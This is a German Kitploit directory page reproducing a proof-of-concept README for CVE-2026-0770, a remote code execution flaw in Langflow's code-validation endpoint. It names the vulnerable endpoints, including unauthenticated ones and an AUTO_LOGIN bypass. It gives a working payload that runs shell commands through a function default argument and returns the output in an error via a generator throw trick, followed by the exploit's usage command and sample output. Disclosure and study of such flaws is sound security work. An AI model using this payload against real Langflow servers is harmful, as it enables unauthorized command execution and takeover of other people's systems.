Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-0770-PoC — Proof of Concept für CVE-2026-0770 - Langflow Remote Code Execution | Kitploit
Tools/GitHubGitHub/affix/cve-2026-0770-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsRemote-Access-Trojaner
GitHubaffix/cve-2026-0770-poc

CVE-2026-0770-PoC

Proof of Concept für CVE-2026-0770 - Langflow Remote Code Execution

Repository anzeigen
618vor 6 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-0770 - Langflow Remote Code Execution

Zusammenfassung

Langflow enthält eine kritische Remote-Code-Execution-Schwachstelle in der Funktion validate_code(), die sich in src/lfx/src/lfx/custom/validate.py befindet. Die Funktion verwendet exec(), um vom Benutzer bereitgestellten Python-Code ohne Sandboxing auszuführen, was die Ausführung beliebiger Befehle auf dem Server ermöglicht.

Betroffene Versionen

  • Langflow aktuellste Version (Stand: 7. Februar 2026)

Andere CVEs

Ähnliche Schwachstellen wurden in verwandten Funktionen und Endpunkten identifiziert:

  • CVE-2026-0772
  • CVE-2026-0771
  • CVE-2026-0769
  • CVE-2026-0768
  • CVE-2026-0767

Details zur Schwachstelle

Die Funktion validate_code() parst vom Benutzer bereitgestellten Code und führt Funktionsdefinitionen mit exec() aus:

root@kitploit:~
# validate.py:66
for node in tree.body:
    if isinstance(node, ast.FunctionDef):
        code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
        exec(code_obj, exec_globals)  # <-- Beliebige Codeausführung

Der exec_globals-Kontext enthält Zugriff auf importlib und Python-Builtins, wodurch Angreifer gefährliche Module (os, subprocess, socket) importieren und beliebige Systembefehle ausführen können.

Verwundbare Endpunkte

EndpunktAuthentifizierungAngriffsvektor
POST /api/v1/validate/codeErforderlich*Direkte Code-Übermittlung
POST /api/v1/custom_componentErforderlich*Code in Komponentendefinition
POST /api/v1/custom_component/updateErforderlich*Code in Komponenten-Update
POST /api/v1/webhook/{flow_id}KeineFlow mit Code-Komponenten
POST /api/v1/build_public_tmp/{flow_id}/flowKeineÖffentliche Flow-Ausführung

* Die Authentifizierung kann umgangen werden, wenn AUTO_LOGIN=true (die Standardkonfiguration)

Andere verwundbare Funktionen

Die folgenden Funktionen in validate.py verwenden ebenfalls unsicheres exec():

FunktionZeileBeschreibung
validate_code()66Validiert Benutzercode
eval_function()140Wertet Funktionsstrings aus
execute_function()182Führt beliebige Funktionen aus
create_function()227Erstellt Funktionen aus Code
create_class()241-442Erstellt Klassen über prepare_global_scope() und build_class_constructor()

Ausnutzung

Der Generator-Throw-Trick

Die Funktion validate_code() führt nur Funktionsdefinitionen aus, keine Funktionsaufrufe. Um eine Codeausführung mit Exfiltration der Ausgabe zu erreichen, nutzen wir die Auswertungsreihenfolge von Python für Standardargumente aus.

Wichtige Erkenntnis: Ausdrücke in Standardargumenten werden zum Zeitpunkt der Funktionsdefinition ausgewertet, nicht wenn die Funktion aufgerufen wird.

root@kitploit:~
def foo(x=print("Ich werde sofort ausgeführt")):
    pass

Allerdings müssen wir die Ausgabe über die HTTP-Antwort exfiltrieren. Der Endpunkt gibt Fehler im Antworttext zurück, daher müssen wir eine Exception auslösen, die unsere Ausgabe enthält.

Problem: raise ist eine Anweisung, kein Ausdruck, daher kann es nicht direkt in einem Standardargument verwendet werden.

Lösung: Verwende die .throw()-Methode eines Generators, die eine Exception auslöst und ein Ausdruck ist:

root@kitploit:~
(_ for _ in ()).throw(Exception("Ausgabe hier"))

Dies erstellt einen leeren Generator und löst sofort eine Exception aus. Kombiniert mit einem Lambda zur Erfassung der Befehlsausgabe:

root@kitploit:~
def exploit(
    _=(lambda r: (_ for _ in ()).throw(Exception(f"OUTPUT:\n{r.stdout}")))(
        __import__('subprocess').run("id", shell=True, capture_output=True, text=True)
    )
):
    pass

Ausführungsablauf:

  1. exec() führt die Funktionsdefinition aus
  2. Das Standardargument _=... wird sofort ausgewertet
  3. subprocess.run() führt den Befehl aus
  4. Das Lambda empfängt das Ergebnis und ruft die Generator-.throw()-Methode auf
  5. Eine Exception mit der Befehlsausgabe wird ausgelöst
  6. validate_code() fängt sie ab und gibt den Fehler in der Antwort zurück

Verwendung

root@kitploit:~
python poc.py --target http://localhost:7860 -c "id && whoami && hostname"

Optionen

FlagBeschreibung
-t, --targetZiel-URL (erforderlich)
-c, --commandAuszuführender Befehl (Standard: id && whoami)
-k, --tokenJWT-Token (optional, verwendet standardmäßig Auto-Login)

Beispielausgabe (Aus Docker-Container langflowai/langflow:latest - 7. Februar 2026)

root@kitploit:~
[*] Target: http://localhost:7860
[*] Attempting auto-login (default config)...
[+] Auto-login successful!
[*] Executing: id && whoami && hostname
[+] Status: 200
[+] Output:
uid=1000(user) gid=0(root) groups=0(root)
user
53977c93d567

Referenzen

  • Langflow GitHub: https://github.com/langflow-ai/langflow
  • Verwundbare Datei: src/lfx/src/lfx/custom/validate.py
Tool herunterladen